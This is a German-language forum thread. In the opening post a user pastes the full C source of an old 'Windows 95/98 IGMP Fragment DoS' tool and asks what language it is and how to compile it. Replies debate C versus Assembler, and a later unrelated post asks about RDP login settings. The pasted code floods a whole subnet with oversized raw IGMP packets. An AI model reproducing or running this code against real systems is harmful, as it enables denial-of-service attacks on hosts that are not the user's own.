welche programmiersprache ist das???

  • #1
C

cane

Bekanntes Mitglied
Themenersteller
Dabei seit
30.05.2002
Beiträge
68
Reaktionspunkte
0
Ort
NRW
hallo leutz!

ich teste in meinem netz gerade verschiedene security bugs und versuche sie zu schließen.

bis jetzt hab ich nur mit fertigen exploits gearbeitet aber heute hab ich einen quelltext gefunden, den ich gerne ausprobieren würde.

Also:

1. in welcher sprache ist er geschrieben (ich glaube C, oder?

2. wie bekomme ich ein fertiges programm raus?

ich denke ich muß den text kompilieren gibt es ne freeware programmierumgebung für C (wenns C ist?

der quelltext:

/* Windows 95 / 98 IGMP Fragment DoS
* by Michael Stevens
*
*
* Credits to Microsoft Security Website
*/

#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char **argv)
{
struct hostent *pHostentry;
struct sockaddr_in sock;
int explode,sd,times,x;
char *tcp_dest;
unsigned short port;
char big[20000];
int y, sleeper = 100000;

printf(Mass IGMP Nuke by Michael A Stevens\n);

if (argc < 5)
{
printf(usage: %s classc.255 port size repititions\n,argv[0]);
printf(\n\nexample:\n);
printf(%s 192.168.0.255 80 8000 10\n,argv[0]);
exit(1);
}
if (argc > 5) sleeper = atoi(argv[5]);

tcp_dest = argv[1];
port = atoi(argv[2]);
explode = atoi(argv[3]);
times = atoi(argv[4]);

if ((pHostentry = gethostbyname(tcp_dest)) == NULL)
{
printf(Resolve of %s failed please try again.\n, argv[1]);
exit(1);
}

memcpy(&sock.sin_addr.s_addr, pHostentry->h_addr, pHostentry->h_length);

for (y = 0; y < 255; y++)
{
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
sock.sin_addr.s_addr -= 16777216;

if ((sd = socket(AF_INET, SOCK_RAW, 2)) == -1)
{
printf(Could not allocate socket.\n);
exit(1);
}

if ( (connect(sd, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf(Couldn't connect to %s\n,inet_ntoa(sock.sin_addr.s_addr));
goto a;
}

if ( send(sd, big, explode, 0) == -1)
{
printf(Error sending check size (lower)\n);
close(sd);
exit(1);
}

for (x = 0; x < times; x++)
{
usleep(sleeper);
if (send(sd, big, explode, 0) == -1)
{
printf(Error sending.\n);
exit(1);
}
printf(Sent %s packet(%d)\n,inet_ntoa(sock.sin_addr.s_addr),x);

}

a:
close(sd);

}

return 0;
}


thanks im vorraus
mfg
cane
 
  • #2
  • #4
für mich sieht es eher nach Assembler aus. Diese Sprache müssten eigentlich alle Programmiersprachen (C, C++, Pascal, Turbo Pascal, Basic, VBA) verstehen.

Nur weiss ich nicht, wie man Assembler richtig in die entsprechende Sprache implementiert. Aber ich denke, dass irgendjemand hier sicher einen Antwort weiss.
 
  • #5
Du hast recht damit, dass man Assembler in andere Programiersprachen einbinden kann, aber Assembler ist es mit Sicherheit nicht... da man in Assembler wirklich ALLES selber machen muss, von der Speicherplatzzuweisung für Variablen über die eigene Implementierung jeglicher Schleifen bis zum Aufräumen des Speichers usw. usf.
Habe früher aufm 64er mal mit Assembler rumgemacht, und da sahen die Befehle in etwa so aus:

LDX $4400 (laden des X-Registers mit dem Wert auf Adresse 4400)
INX (inkrementieren des X-Registers)
CPX $4500 (Vergleichen des X-Registers mit dem Wert auf Adresse 4500)

Das ist entweder C oder C++ (Java ist es auch nicht, denn das sieht zwar von der Syntax der Basisfunktionen wie Schleifen, Werzuweisung usw. her ähnlich aus, aber da gibt es doch einige Unterschiede).#

Greetz
Michael
 
  • #6
yup, michael,

muss dir zustimmen. assembler wäre viel kürzer bei den befehlen und komplexer.... also doch eher c oder c++
 
  • #7
Vielen Dank an euch alle!!!

hab ab morgen linux am laufen, da ist glaube ich ein compiler dabei...

mfg
cane
 
  • #8
hallo,

ich habe ne frage ich habe verschiedene vps und 2 davon mit der gleichen ip aber ne andere portnummer. wenn ich jetzt bei remotedesktop alle vps eingebe und speichere, kann ich immer schön eine ip anwählen und es wird auch gleich der richtige benutzername angezeigt und ich kann mich anmelden...soweit alles ok.

nur bei den beiden vps mit der gleichen ip aber anderer portnummer z.b 123456:345 und 123456:456 kommt immer wenn ch dann den vps auswähle der gleiche benutzernamen, bzw. der benutzername wird nicht geändert bei wechsel der ip und ich muss dann den richtigen benutzernamen immer eingeben.

frage kann man das irgendwie speichern, dass bei der anwahl der gleichen ip aber anderer portnummer beim auswählen dann auch der richtige benutzername ausgewählt wird? wie gesagt, bei allen anderen ips gehts super und es wird dann auch immer der richtige benutzername gewählt.

gruß mario
 
  • #9
Schon mal einen RDP-Manager versucht?
 
Thema:

welche programmiersprache ist das???

ANGEBOTE & SPONSOREN

Statistik des Forums

Themen
113.840
Beiträge
707.963
Mitglieder
51.494
Neuestes Mitglied
Flensburg45
Oben